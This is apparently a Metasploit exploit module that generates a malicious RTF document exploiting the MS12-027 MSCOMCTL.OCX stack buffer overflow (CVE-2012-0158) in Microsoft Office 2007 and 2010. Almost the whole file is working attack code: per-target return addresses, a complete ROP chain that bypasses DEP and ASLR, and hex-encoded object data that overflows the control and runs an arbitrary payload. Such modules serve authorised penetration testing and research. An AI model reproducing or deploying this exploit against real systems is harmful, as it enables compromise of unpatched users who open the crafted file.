##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS12-027 MSCOMCTL ActiveX Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious
        RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited
        in the wild on April 2012.

        This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office
        2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses
        "msgr3en.dll", which will load after office got load, so the malicious file must
        be loaded through "File / Open" to achieve exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0158' ],
          [ 'OSVDB', '81125' ],
          [ 'BID', '52911' ],
          [ 'MSB', 'MS12-027' ],
          [ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500,
          'Space'         => 900,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # winword.exe v12.0.4518.1014 (No Service Pack)
          # winword.exe v12.0.6211.1000 (SP1)
          # winword.exe v12.0.6425.1000 (SP2)
          # winword.exe v12.0.6612.1000 (SP3)
          [ 'Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English',
            {
              'Offset' => 270,
              'Ret' => 0x27583c30, # jmp esp # MSCOMCTL.ocx 6.1.95.45
              'Rop' => false
            }
          ],
          # winword.exe v14.0.6024.1000 (SP1)
          [ 'Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English',
            {
              'Ret' => 0x3F2CB9E1, # ret # msgr3en.dll
              'Rop' => true,
              'RopOffset' => 120
            }
          ],
        ],
      'DisclosureDate' => 'Apr 10 2012',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc']),
      ])
  end

  def stream(bytes)
    Rex::Text.to_hex(bytes).gsub("\\x", "")
  end

  def junk(n=1)
    tmp = []
    value = rand_text(4).unpack("L")[0].to_i
    n.times { tmp << value }
    return tmp
  end

  # Ikazuchi ROP chain (msgr3en.dll)
  # Credits to Abysssec
  # http://abysssec.com/files/The_Arashi.pdf
  def create_rop_chain
    rop_gadgets = [
      0x3F2CB9E0, # POP ECX # RETN
      0x3F10115C, # HeapCreate() IAT = 3F10115C
      # EAX == HeapCreate() Address
      0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
      # Call HeapCreate() and Create a Executable Heap. After this call, EAX contain our Heap Address.
      0x3F39AFCF, # CALL EAX # RETN
      0x00040000,
      0x00010000,
      0x00000000,
      0x3F2CB9E0, # POP ECX # RETN
      0x00008000, # pop 0x00008000 into ECX
      # add ECX to EAX and instead of calling HeapAlloc, now EAX point to the RWX Heap
      0x3F39CB46, # ADD EAX,ECX # POP ESI # RETN
      junk,
      0x3F2CB9E0, # POP ECX # RETN
      0x3F3B3DC0, # pop 0x3F3B3DC0 into ECX, it is a writable address.
      # storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;)
      0x3F2233CC, # MOV DWORD PTR DS:[ECX],EAX # RETN
      0x3F2D59DF, #POP EAX # ADD DWORD PTR DS:[EAX],ESP # RETN
      0x3F3B3DC4, # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
                  # then we add ESP to the Zero which result in storing ESP into that address,
                  # we need ESP address for copying shellcode ( which stores in Stack ),
                  # and we have to get it dynamically at run-time, now with my tricky instruction, we have it!
      0x3F2F18CC, # POP EAX # RETN
      0x3F3B3DC4, # pop 0x3F3B3DC4 ( ESP address ) into EAX
      # makes ECX point to nearly offset of Stack.
      0x3F2B745E, # MOV ECX,DWORD PTR DS:[EAX] #RETN
      0x3F39795E, # POP EDX # RETN
      0x00000024, # pop 0x00000024 into EDX
      # add 0x24 to ECX ( Stack address )
      0x3F39CB44, # ADD ECX,EDX # ADD EAX,ECX # POP ESI # RETN
      junk,
      # EAX = ECX
      0x3F398267, # MOV EAX,ECX # RETN
      # mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location,
      # and the popping it into ESI ! now ESI point where shellcode stores in stack
      0x3F3A16DE, # MOV DWORD PTR DS:[ECX],EAX # XOR EAX,EAX # POP ESI # RETN
      # EAX = ECX
      0x3F398267, # MOV EAX,ECX # RETN
      0x3F2CB9E0, # POP ECX # RETN
      0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
      # makes EAX point to our RWX Heap
      0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
      # makes EDI = Our RWX Heap Address
      0x3F2B0A7C, # XCHG EAX,EDI # RETN 4
      0x3F2CB9E0, # POP ECX # RETN
      junk,
      0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
      # makes EAX point to our RWX Heap
      0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
      # just skip some junks
      0x3F38BEFB, # ADD AL,58 # RETN
      0x3F2CB9E0, # POP ECX # RETN
      0x00000300, # pop 0x00000300 into ECX ( 0x300 * 4 = Copy lent )
      # Copy shellcode from stack into RWX Heap
      0x3F3441B4, # REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # POP EDI # POP ESI # RETN
      junk(2), # pop into edi # pop into esi
      0x3F39AFCF # CALL EAX # RETN
    ].flatten.pack("V*")

    # To avoid shellcode being corrupted in the stack before ret
    rop_gadgets << "\x90" * target['RopOffset'] # make_nops doesn't have sense here
    return rop_gadgets

  end

  def exploit

    ret_address = stream([target.ret].pack("V"))

    if target['Rop']
      shellcode = stream(create_rop_chain)
    else
      # To avoid shellcode being corrupted in the stack before ret
      shellcode = stream(make_nops(target['Offset']))
      shellcode << stream(Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string)
      shellcode << stream(make_nops(4))
    end
    shellcode << stream(payload.encoded)
    while shellcode.length < 2378
      shellcode += "0"
    end

    content = "{\\rtf1"
    content << "{\\fonttbl{\\f0\\fnil\\fcharset0 Verdana;}}"
    content << "\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"
    content << "\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"
    content << "{\\object\\objocx"
    content << "{\\*\\objdata"
    content << "\n"
    content << "01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"
    content << "00000000000000000E0000"
    content << "\n"
    content << "D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"
    content << "00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"
    content << "FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"
    content << "72007900000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"
    content << "0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"
    content << "49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"
    content << "0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000600000000000000"
    content << "03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"
    content << "000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000001000000"
    content << "160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"
    content << "000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"
    content << "FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"
    content << "0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"
    content << "11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    content << "FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000004C00690073007400"
    content << "56006900650077004100000000000000000000000000000000000000000000000000000000000000"
    content << "0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"
    content << "1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"
    content << "05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"
    content << "6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"
    content << "000000000000"
    content << ret_address
    content << "9090909090909090"
    content << shellcode
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
    content << "00000000000000"
    content << "\n"
    content << "}"
    content << "}"
    content << "}"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(content)

  end
end
